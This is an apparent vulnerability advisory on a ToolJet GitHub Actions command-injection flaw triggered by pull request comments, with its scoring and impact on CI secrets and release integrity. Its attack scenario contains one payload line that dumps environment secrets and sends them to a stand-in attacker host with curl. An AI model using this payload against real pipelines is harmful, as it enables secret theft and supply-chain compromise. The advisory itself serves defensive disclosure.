ToolJet CVE-2026-54344

Exploitation requires that the attacker hold a GitHub account capable of commenting on open pull requests in the ToolJet repository - for a public open-source project, this is any registered GitHub user by default. The specific vulnerable trigger is the render-preview deployment workflow's bash run: step, which must be active and reachable via comment-triggered CI. Exploitation is not possible against ToolJet instances that do not use this specific GitHub Actions workflow. Limiting factors include: the attack targets the CI runner environment rather than deployed ToolJet instances directly; SSVC confirms the attack is not automatable (requires a crafted per-PR comment); and the impact is bounded to secrets and artifacts accessible within the CI runner's scope. Exploitation does not require any knowledge of the ToolJet codebase beyond identifying the trigger comment pattern.

The provided CVSS score of 8.8 with vector AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H presents an internal tension: the 'Adjacent' attack vector (AV:A) understates the true exposure, since exploitation occurs via GitHub's globally accessible web interface and is not constrained to adjacent-network segments. This discrepancy should be verified with the vendor. The EPSS score of 0.17% at the 7th percentile is notably low, consistent with SSVC's 'Automatable: no' designation - each attack requires crafting a targeted PR comment, preventing fully automated mass exploitation. The SSVC 'Technical Impact: partial' also partially conflicts with the CVSS C:H/I:H/A:H rating; the impact is scoped to the CI runner environment rather than the broader infrastructure. No CISA KEV listing confirms the absence of confirmed widespread active exploitation, though a POC technique is documented. The real-world risk is most significant for downstream consumers of ToolJet's CI-built releases: a compromised CI pipeline can result in poisoned build artifacts or leaked deployment credentials affecting production environments that depend on ToolJet's official release integrity.

An attacker locates an open pull request in the ToolJet public repository and posts a comment matching the deploy trigger pattern but containing an injected shell payload - for example, appending ; env | base64 | curl -d @- https://attacker.com/exfil # - causing the GitHub Actions runner to execute the injected commands with access to CI environment secrets. Because the ToolJet repository is public and PR commenting requires only a free GitHub account, the barrier to attempt exploitation is minimal. A proof-of-concept for this GitHub Actions expression injection class is publicly documented, further lowering the technical bar.